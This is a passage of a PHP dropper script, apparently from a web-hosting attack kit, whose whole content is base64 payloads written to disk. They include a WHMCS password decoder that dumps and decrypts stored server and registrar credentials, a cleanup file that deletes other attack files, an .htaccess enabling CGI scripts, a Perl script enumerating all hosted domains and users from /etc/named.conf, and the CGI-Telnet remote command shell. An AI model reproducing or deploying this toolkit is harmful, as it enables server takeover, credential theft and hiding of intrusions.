2Wydob3N0bmFtZSddOwoKZWNobygiPGNlbnRlcj48dGFibGUgYm9yZGVyPScxJz4iKTsKJHBhc3N3b3JkID0gZGVjcnlwdCAoJHZbJ3Bhc3N3b3JkJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpOwplY2hvKCI8dHI+PHRkPlR5cGU8L3RkPjx0ZD4kdHlwZTwvdGQ+PC90cj4iKTsKZWNobygiPHRyPjx0ZD5BY3RpdmU8L3RkPjx0ZD4kYWN0aXZlPC90ZD48L3RyPiIpOwplY2hvKCI8dHI+PHRkPkhvc3RuYW1lPC90ZD48dGQ+JGhvc3RuYW1lPC90ZD48L3RyPiIpOwplY2hvKCI8dHI+PHRkPklwPC90ZD48dGQ+JGlwYWRkcmVzczwvdGQ+PC90cj4iKTsKZWNobygiPHRyPjx0ZD5Vc2VybmFtZTwvdGQ+PHRkPiR1c2VybmFtZTwvdGQ+PC90cj4iKTsKZWNobygiPHRyPjx0ZD5QYXNzd29yZDwvdGQ+PHRkPiRwYXNzd29yZDwvdGQ+PC90cj4iKTsKCgplY2hvICI8L3RhYmxlPjxicj48YnI+PC9jZW50ZXI+IjsKCn0KCiAgICAkbGluaz1teXNxbF9jb25uZWN0KCRkYl9ob3N0LCRkYl91c2VybmFtZSwkZGJfcGFzc3dvcmQpIDsKCSAgICBteXNxbF9zZWxlY3RfZGIoJGRiX25hbWUsJGxpbmspIDsKCiRxdWVyeSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIHRibHJlZ2lzdHJhcnMiKTsKZWNobygiPGNlbnRlcj5Eb21haW4gUmVzZWxsZXIgPGJyPjx0YWJsZSBib3JkZXI9JzEnPiIpOwplY2hvKCI8dHI+PHRkPlJlZ2lzdHJhcjwvdGQ+PHRkPlNldHRpbmc8L3RkPjx0ZD5WYWx1ZTwvdGQ+PC90cj4iKTsKd2hpbGUoJHYgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnkpKSB7CgokcmVnaXN0cmFyIAk9ICR2WydyZWdpc3RyYXInXTsKJHNldHRpbmcgPSAkdlsnc2V0dGluZyddOwokdmFsdWUgPSBkZWNyeXB0ICgkdlsndmFsdWUnXSwgJGNjX2VuY3J5cHRpb25faGFzaCk7CmlmICgkdmFsdWU9PSIiKSB7CiR2YWx1ZT0wOwp9CiRwYXNzd29yZCA9IGRlY3J5cHQgKCR2WydwYXNzd29yZCddLCAkY2NfZW5jcnlwdGlvbl9oYXNoKTsKZWNobygiPHRyPjx0ZD4kcmVnaXN0cmFyPC90ZD48dGQ+JHNldHRpbmc8L3RkPjx0ZD4kdmFsdWU8L3RkPjwvdHI+Iik7CgoKCgoKfQplY2hvICI8L3RhYmxlPjxicj48YnI+PC9jZW50ZXI+IjsKfQoKCgogaWYoJF9QT1NUWydmb3JtX2FjdGlvbiddID09IDIgKQogewogLy9pbmNsdWRlKCRmaWxlKTsKCiAkZGJfaG9zdD0oJF9QT1NUWydkYl9ob3N0J10pOwogJGRiX3VzZXJuYW1lPSgkX1BPU1RbJ2RiX3VzZXJuYW1lJ10pOwogJGRiX3Bhc3N3b3JkPSgkX1BPU1RbJ2RiX3Bhc3N3b3JkJ10pOwogJGRiX25hbWU9KCRfUE9TVFsnZGJfbmFtZSddKTsKICRjY19lbmNyeXB0aW9uX2hhc2g9KCRfUE9TVFsnY2NfZW5jcnlwdGlvbl9oYXNoJ10pOwoKCgoKICAgICRsaW5rPW15c3FsX2Nvbm5lY3QoJGRiX2hvc3QsJGRiX3VzZXJuYW1lLCRkYl9wYXNzd29yZCkgOwoJICAgIG15c3FsX3NlbGVjdF9kYigkZGJfbmFtZSwkbGluaykgOwoKJHF1ZXJ5ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gdGJsc2VydmVycyIpOwoKd2hpbGUoJHYgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnkpKSB7CgokaXBhZGRyZXNzID0gJHZbJ2lwYWRkcmVzcyddOwokdXNlcm5hbWUgPSAkdlsndXNlcm5hbWUnXTsKJHR5cGUgPSAkdlsndHlwZSddOwokYWN0aXZlID0gJHZbJ2FjdGl2ZSddOwokaG9zdG5hbWUgPSAkdlsnaG9zdG5hbWUnXTsKCmVjaG8oIjxjZW50ZXI+PHRhYmxlIGJvcmRlcj0nMSc+Iik7CiRwYXNzd29yZCA9IGRlY3J5cHQgKCR2WydwYXNzd29yZCddLCAkY2NfZW5jcnlwdGlvbl9oYXNoKTsKZWNobygiPHRyPjx0ZD5UeXBlPC90ZD48dGQ+JHR5cGU8L3RkPjwvdHI+Iik7CmVjaG8oIjx0cj48dGQ+QWN0aXZlPC90ZD48dGQ+JGFjdGl2ZTwvdGQ+PC90cj4iKTsKZWNobygiPHRyPjx0ZD5Ib3N0bmFtZTwvdGQ+PHRkPiRob3N0bmFtZTwvdGQ+PC90cj4iKTsKZWNobygiPHRyPjx0ZD5JcDwvdGQ+PHRkPiRpcGFkZHJlc3M8L3RkPjwvdHI+Iik7CmVjaG8oIjx0cj48dGQ+VXNlcm5hbWU8L3RkPjx0ZD4kdXNlcm5hbWU8L3RkPjwvdHI+Iik7CmVjaG8oIjx0cj48dGQ+UGFzc3dvcmQ8L3RkPjx0ZD4kcGFzc3dvcmQ8L3RkPjwvdHI+Iik7CgoKZWNobyAiPC90YWJsZT48YnI+PGJyPjwvY2VudGVyPiI7Cgp9CgoKICAgICRsaW5rPW15c3FsX2Nvbm5lY3QoJGRiX2hvc3QsJGRiX3VzZXJuYW1lLCRkYl9wYXNzd29yZCkgOwoJICAgIG15c3FsX3NlbGVjdF9kYigkZGJfbmFtZSwkbGluaykgOwoKJHF1ZXJ5ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gdGJscmVnaXN0cmFycyIpOwplY2hvKCI8Y2VudGVyPkRvbWFpbiBSZXNlbGxlciA8YnI+PHRhYmxlIGJvcmRlcj0nMSc+Iik7CmVjaG8oIjx0cj48dGQ+UmVnaXN0cmFyPC90ZD48dGQ+U2V0dGluZzwvdGQ+PHRkPlZhbHVlPC90ZD48L3RyPiIpOwp3aGlsZSgkdiA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsKCiRyZWdpc3RyYXIgCT0gJHZbJ3JlZ2lzdHJhciddOwokc2V0dGluZyA9ICR2WydzZXR0aW5nJ107CiR2YWx1ZSA9IGRlY3J5cHQgKCR2Wyd2YWx1ZSddLCAkY2NfZW5jcnlwdGlvbl9oYXNoKTsKaWYgKCR2YWx1ZT09IiIpIHsKJHZhbHVlPTA7Cn0KJHBhc3N3b3JkID0gZGVjcnlwdCAoJHZbJ3Bhc3N3b3JkJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpOwplY2hvKCI8dHI+PHRkPiRyZWdpc3RyYXI8L3RkPjx0ZD4kc2V0dGluZzwvdGQ+PHRkPiR2YWx1ZTwvdGQ+PC90cj4iKTsKCgoKCgp9CmVjaG8gIjwvdGFibGU+PGJyPjxicj48L2NlbnRlcj4iOwp9CgoKCgo/Pgo8cCBhbGlnbj0ibGVmdCI+Cjxmb250IGNvbG9yPSIjRkYwMDAwIiBzaXplPScrMyc+WyB+fiBQQCQkdzByZCBEZWMwZDNyIH5+IF08L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPjxicj4KPC9mb250Pjxicj4KPGZvbnQgc2l6ZT0iKzIiIGNvbG9yPSIjMDAwMDgwIj5TeW1saU5rIHQwIGNvbmZpZ3VyYXRpb24ucGhwIDwvZm9udD48YnI+CjwvcD4KPEZPUk0gYWN0aW9uPSIiICBtZXRob2Q9InBvc3QiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmb3JtX2FjdGlvbiIgdmFsdWU9IjEiPgo8YnI+CiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIG5hbWU9ImZpbGUiIHZhbHVlPSIiPgo8YnI+CjxJTlBVVCBjbGFzcz1zdWJtaXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU3VibWl0IiBuYW1lPSJTdWJtaXQiPgo8L0ZPUk0+Cjxocj4KCgo8Zm9udCBjb2xvcj0iIzAwNjZGRiIgc2l6ZT0nKzInPkRCIEMwbkZpZ3VyYXRpMG4gPC9mb250Pjxicj4KPEZPUk0gYWN0aW9uPSIiICBtZXRob2Q9InBvc3QiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmb3JtX2FjdGlvbiIgdmFsdWU9IjIiPgo8YnI+Cjx0YWJsZSBib3JkZXI9MT4KCjx0cj48dGQ+ZGJfaG9zdCA8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIG5hbWU9ImRiX2hvc3QiIHZhbHVlPSJsb2NhbGhvc3QiPjwvdGQ+PC90cj4KPHRyPjx0ZD5kYl91c2VybmFtZSA8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIG5hbWU9ImRiX3VzZXJuYW1lIiB2YWx1ZT0iIj48L3RkPjwvdHI+Cjx0cj48dGQ+ZGJfcGFzc3dvcmQ8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIG5hbWU9ImRiX3Bhc3N3b3JkIiB2YWx1ZT0iIj48L3RkPjwvdHI+Cjx0cj48dGQ+ZGJfbmFtZTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIzMCIgbmFtZT0iZGJfbmFtZSIgdmFsdWU9IiI+PC90cj4KPHRyPjx0ZD5jY19lbmNyeXB0aW9uX2hhc2g8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIG5hbWU9ImNjX2VuY3J5cHRpb25faGFzaCIgdmFsdWU9IiI+PC90ZD48L3RyPgoKPC90YWJsZT4KPGJyPgo8SU5QVVQgY2xhc3M9c3VibWl0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCIgbmFtZT0iU3VibWl0Ij4KPC9GT1JNPgo8aHI+CjxwIGFsaWduPSJsZWZ0Ij4KPGZvbnQgY29sb3I9IiMwMDY2RkYiIHNpemU9JysyJz5QYSQkdzByZCBkZWMwZGVyPC9mb250Pjxicj48L3A+Cjw/CiBpZigkX1BPU1RbJ2Zvcm1fYWN0aW9uJ10gPT0gMyApCiB7CgoKCiAkcGFzc3dvcmQ9KCRfUE9TVFsncGFzc3dvcmQnXSk7CgogJGNjX2VuY3J5cHRpb25faGFzaD0oJF9QT1NUWydjY19lbmNyeXB0aW9uX2hhc2gnXSk7CgoKJHBhc3N3b3JkID0gZGVjcnlwdCAoJHBhc3N3b3JkLCAkY2NfZW5jcnlwdGlvbl9oYXNoKTsKCmVjaG8oIlBhc3N3b3JkIGlzICIuJHBhc3N3b3JkKTsKCn0KPz4KPC9jZW50ZXI+CjxGT1JNIGFjdGlvbj0iIiAgbWV0aG9kPSJwb3N0Ij4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZm9ybV9hY3Rpb24iIHZhbHVlPSIzIj4KPGJyPgo8dGFibGUgYm9yZGVyPTE+Cjx0cj48dGQ+UGFzc3dvcmQ8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIG5hbWU9InBhc3N3b3JkIiB2YWx1ZT0iIj48L3RkPjwvdHI+Cjx0cj48dGQ+Y2NfZW5jcnlwdGlvbl9oYXNoPC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIHNpemU9IjMwIiBuYW1lPSJjY19lbmNyeXB0aW9uX2hhc2giIHZhbHVlPSIiPjwvdGQ+PC90cj4KPC90YWJsZT4KPGJyPgo8SU5QVVQgY2xhc3M9c3VibWl0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCIgbmFtZT0iU3VibWl0Ij4KPC9GT1JNPgo8aHI+CjxjZW50ZXI+IDxmb250IGNvbG9yPSIjRkZGRjZGRiIgc2l6ZT0nKzEnPiAgIC0tLS0tLS0tLS0tLSAgICA8L2ZvbnQ+PGJyPjxicj4gPGNlbnRlcj4=');
$write = fwrite ($file ,$sa);

$dir = $dir_name."/";


$file = fopen("d.php" ,"w+");
$sa=base64_decode('PD8KJGZpbGVuYW1lID0gIncucGhwIjsKdW5saW5rKCRmaWxlbmFtZSk7IAokZHoyID0gIjExLnBocCI7CnVubGluaygkZHoyKTsgCiRkejJkID0gInNxbC5waHAiOwp1bmxpbmsoJGR6MmQpOyAKPz4K');
$write = fwrite ($file ,$sa);


$file = fopen($dir.".htaccess" ,"w+");
$sa=base64_decode('T3B0aW9ucyBhbGwKRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWwKQWRkVHlwZSB0ZXh0L3BsYWluIC5w
aHAKQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAuc2EKQWRkSGFuZGxlciBzZXJ2ZXIt
cGFyc2VkIC5waHAKQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5zYQpBZGRIYW5kbGVyIGNnaS1zY3Jp
cHQgLnNh');
$write = fwrite ($file ,$sa);

$file = fopen($dir."user.sa" ,"w+");
$sa=base64_decode('IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOwpwcmludCc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4KCjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyIgLz4KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+Cjx0aXRsZT5DMGRlZCBCeSBTSUxWRVIgRk9YPC90aXRsZT4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KLm5ld1N0eWxlMSB7CiBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOwogZm9udC1mYW1pbHk6ICJDb3VyaWVyIE5ldyIsIENvdXJpZXIsIG1vbm9zcGFjZTsKIGZvbnQtc2l6ZTogbGFyZ2U7CiBmb250LXdlaWdodDogYm9sZDsKIGNvbG9yOiAjRkZGRkZGOwp9Ci5zdHlsZTEgewogdGV4dC1hbGlnbjogY2VudGVyOwp9Cjwvc3R5bGU+CjwvaGVhZD4KCjxib2R5IGNsYXNzPSJuZXdTdHlsZTEiPgoKPHAgY2xhc3M9InN0eWxlMSI+RG9tYWlucyAmYW1wOyBVc2VycyA8L3A+CjxwIGNsYXNzPSJzdHlsZTEiPkJ5cGFzczwvcD4KPHAgY2xhc3M9InN0eWxlMSI+U0lMVkVSIEZPWCA8L3A+Cic7Cm9wZW4gKGQwbWFpbnMsICcvZXRjL25hbWVkLmNvbmYnKSBvciAkZXJyPTE7CkBrciA9IDxkMG1haW5zPjsKY2xvc2UgZDBtYWluczsKaWYgKCRlcnIpewpwcmludCAoJzxwIGNsYXNzPSJzdHlsZTEiPiZuYnNwOzwvcD48cCBjbGFzcz0ic3R5bGUxIj5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CmRpZSgpOwp9ZWxzZXsKcHJpbnQgJzxwIGNsYXNzPSJzdHlsZTEiPiZuYnNwOzwvcD4KPHAgY2xhc3M9InN0eWxlMSI+SDNyMyAhcyA0MTEgRDBtNCFucyAmYW1wOyBVczNycyA6PC9wPgonO30KZm9yZWFjaCBteSAkb25lIChAa3IpCnsKaWYoJG9uZSA9fiBtLy4qP3pvbmUgIiguKj8pIiB7Lyl7CiRmaWxlbmFtZT0gIi9ldGMvdmFsaWFzZXMvIi4kMTsKJG93bmVyID0gZ2V0cHd1aWQoKHN0YXQoJGZpbGVuYW1lKSlbNF0pOwpwcmludCAnPHAgY2xhc3M9InN0eWxlMSI+Jy4kMS4nIDogJy4kb3duZXIuJzwvcD4KJzsKfQp9CnByaW50JzwvYm9keT48L2h0bWw+JzsK
');
$write = fwrite ($file ,$sa);

$file = fopen($dir."cgi.pl" ,"w+");
$sa=base64_decode('IyEvdXNyL2Jpbi9wZXJsCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb3B5cmlnaHQgYW5kIExp
Y2VuY2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIENHSS1UZWxuZXQgVmVyc2lvbiAxLjAgZm9y
IE5UIGFuZCBVbml4IDogUnVuIENvbW1hbmRzIG9uIHlvdXIgV2ViIFNlcnZlcgojCiMgQ29weXJp
Z2h0IChDKSAyMDAxIFJvaGl0YWIgQmF0cmEKIyBQZXJtaXNzaW9uIGlzIGdyYW50ZWQgdG8gdXNl
LCBkaXN0cmlidXRlIGFuZCBtb2RpZnkgdGhpcyBzY3JpcHQgc28gbG9uZwojIGFzIHRoaXMgY29w
eXJpZ2h0IG5vdGljZSBpcyBsZWZ0IGludGFjdC4gSWYgeW91IG1ha2UgY2hhbmdlcyB0byB0aGUg
c2NyaXB0CiMgcGxlYXNlIGRvY3VtZW50IHRoZW0gYW5kIGluZm9ybSBtZS4gSWYgeW91IHdvdWxk
IGxpa2UgYW55IGNoYW5nZXMgdG8gYmUgbWFkZQojIGluIHRoaXMgc2NyaXB0LCB5b3UgY2FuIGUt
bWFpbCBtZS4KIwojIEF1dGhvcjogUm9oaXRhYiBCYXRyYQojIEF1dGhvciBlLW1haWw6IHJvaGl0
YWJAcm9oaXRhYi5jb20KIyBBdXRob3IgSG9tZXBhZ2U6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20v
CiMgU2NyaXB0IEhvbWVwYWdlOiBtYWlsdG86VU5JVFhfVEVBTUBIT1RNQUlMLkNPTQojIFByb2R1
Y3QgU3VwcG9ydDogaHR0cDovL3d3dy5yb2hpdGFiLmNvbS9zdXBwb3J0LwojIERpc2N1c3Npb24g
Rm9ydW06IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vZGlzY3Vzcy8KIyBNYWlsaW5nIExpc3Q6IGh0
dHA6Ly93d3cucm9oaXRhYi5jb20vbWxpc3QvCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiMtLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0KIyBJbnN0YWxsYXRpb24KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoj
IFRvIGluc3RhbGwgdGhpcyBzY3JpcHQKIwojIDEuIE1vZGlmeSB0aGUgZmlyc3QgbGluZSAiIyEv
dXNyL2Jpbi9wZXJsIiB0byBwb2ludCB0byB0aGUgY29ycmVjdCBwYXRoIG9uCiMgICAgeW91ciBz
ZXJ2ZXIuIEZvciBtb3N0IHNlcnZlcnMsIHlvdSBtYXkgbm90IG5lZWQgdG8gbW9kaWZ5IHRoaXMu
CiMgMi4gQ2hhbmdlIHRoZSBwYXNzd29yZCBpbiB0aGUgQ29uZmlndXJhdGlvbiBzZWN0aW9uIGJl
bG93LgojIDMuIElmIHlvdSdyZSBydW5uaW5nIHRoZSBzY3JpcHQgdW5kZXIgV2luZG93cyBOVCwg
c2V0ICRXaW5OVCA9IDEgaW4gdGhlCiMgICAgQ29uZmlndXJhdGlvbiBTZWN0aW9uIGJlbG93Lgoj
IDQuIFVwbG9hZCB0aGUgc2NyaXB0IHRvIGEgZGlyZWN0b3J5IG9uIHlvdXIgc2VydmVyIHdoaWNo
IGhhcyBwZXJtaXNzaW9ucyB0bwojICAgIGV4ZWN1dGUgQ0dJIHNjcmlwdHMuIFRoaXMgaXMgdXN1
YWxseSBjZ2ktYmluLiBNYWtlIHN1cmUgdGhhdCB5b3UgdXBsb2FkCiMgICAgdGhlIHNjcmlwdCBp
biBBU0NJSSBtb2RlLgojIDUuIENoYW5nZSB0aGUgcGVybWlzc2lvbiAoQ0hNT0QpIG9mIHRoZSBz
Y3JpcHQgdG8gNzU1LgojIDYuIE9wZW4gdGhlIHNjcmlwdCBpbiB5b3VyIHdlYiBicm93c2VyLiBJ
ZiB5b3UgdXBsb2FkZWQgdGhlIHNjcmlwdCBpbgojICAgIGNnaS1iaW4sIHRoaXMgc2hvdWxkIGJl
IGh0dHA6Ly93d3cueW91cnNlcnZlci5jb20vY2dpLWJpbi9jZ2l0ZWxuZXQucGwKIyA3LiBMb2dp
biB1c2luZyB0aGUgcGFzc3dvcmQgdGhhdCB5b3Ugc3BlY2lmaWVkIGluIFN0ZXAgMi4KIy0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIENvbmZpZ3VyYXRpb246
IFlvdSBuZWVkIHRvIGNoYW5nZSBvbmx5ICRQYXNzd29yZCBhbmQgJFdpbk5ULiBUaGUgb3RoZXIK
IyB2YWx1ZXMgc2hvdWxkIHdvcmsgZmluZSBmb3IgbW9zdCBzeXN0ZW1zLgojLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tCiRQYXNzd29yZCA9ICJkeiI7CQkjIENoYW5nZSB0aGlzLiBZb3Ugd2lsbCBuZWVk
IHRvIGVudGVyIHRoaXMKCQkJCSMgdG8gbG9naW4uCgokV2luTlQgPSAwOwkJCSMgWW91IG5lZWQg
dG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYKCQkJCSMgeW91J3JlIHJ1bm5pbmcg
dGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UCgkJCQkjIG1hY2hpbmUuIElmIHlvdSdyZSBydW5u
aW5nIGl0IG9uIFVuaXgsIHlvdQoJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLgoK
JE5UQ21kU2VwID0gIiYiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIg
Y29tbWFuZHMKCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4KCiRVbml4Q21k
U2VwID0gIjsiOwkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFu
ZHMKCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4KCiRDb21tYW5kVGltZW91dER1cmF0
aW9uID0gMTAwOwkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxl
ZAoJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMKCQkJ
CSMgdXNlZnVsIGZvciBjb21tYW5kcyB0aGF0IG1heSBoYW5nIG9yIHRoYXQKCQkJCSMgdGFrZSB2
ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4KCQkJCSMgVGhpcyBpcyB2YWxpZCBv
bmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMKCQkJCSMgaWdub3JlZCBvbiBOVCBTZXJ2ZXJzLgoK
JFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2Vu
dCB0byB0aGUKCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNl
CgkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQKCQkJCSMgY29t
cGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQoJCQkJIyBwaW5nLCBzbyB0
aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQKCQkJCSMgaXMgYmVpbmcgZ2VuZXJhdGVk
LgoKIyBET04nVCBDSEFOR0UgQU5ZVEhJTkcgQkVMT1cgVEhJUyBMSU5FIFVOTEVTUyBZT1UgS05P
VyBXSEFUIFlPVSdSRSBET0lORyAhIQoKJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAk
VW5peENtZFNlcCk7CiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsKJFBhdGhTZXAg
PSAoJFdpbk5UID8gIlxcIiA6ICIvIik7CiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAx
PiYyIiA6ICIgMT4mMSAyPiYxIik7CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmVhZHMgdGhl
IGlucHV0IHNlbnQgYnkgdGhlIGJyb3dzZXIgYW5kIHBhcnNlcyB0aGUgaW5wdXQgdmFyaWFibGVz
LiBJdAojIHBhcnNlcyBHRVQsIFBPU1QgYW5kIG11bHRpcGFydC9mb3JtLWRhdGEgdGhhdCBpcyB1
c2VkIGZvciB1cGxvYWRpbmcgZmlsZXMuCiMgVGhlIGZpbGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57
J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRpbnsnZmlsZWRhdGEnfS4KIyBPdGhlciB2
YXJpYWJsZXMgY2FuIGJlIGFjY2Vzc2VkIHVzaW5nICRpbnsndmFyJ30sIHdoZXJlIHZhciBpcyB0
aGUgbmFtZSBvZgojIHRoZSB2YXJpYWJsZS4gTm90ZTogTW9zdCBvZiB0aGUgY29kZSBpbiB0aGlz
IGZ1bmN0aW9uIGlzIHRha2VuIGZyb20gb3RoZXIgQ0dJCiMgc2NyaXB0cy4KIy0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLQpzdWIgUmVhZFBhcnNlCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2Nh
bCAoJGksICRsb2MsICRrZXksICR2YWwpOwoKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NP
TlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoK
CWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVF
UllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikK
CXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVh
ZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxl
IHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3Jt
LWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFz
ZSByZWZlciB0byBSRkMxODY3CgkJQGxpc3QgPSBzcGxpdCgvJEJvdW5kYXJ5LywgJGluKTsKCQkk
SGVhZGVyQm9keSA9ICRsaXN0WzFdOwoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsK
CQkkSGVhZGVyID0gJGA7CgkJJEJvZHkgPSAkJzsKIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRo
ZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRC
b2R5OwoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsKCQkkaW57J2YnfSA9ICQxOwoJ
CSRpbnsnZid9ID1+IHMvXCIvL2c7CgkJJGlueydmJ30gPX4gcy9ccy8vZzsKCgkJIyBwYXJzZSB0
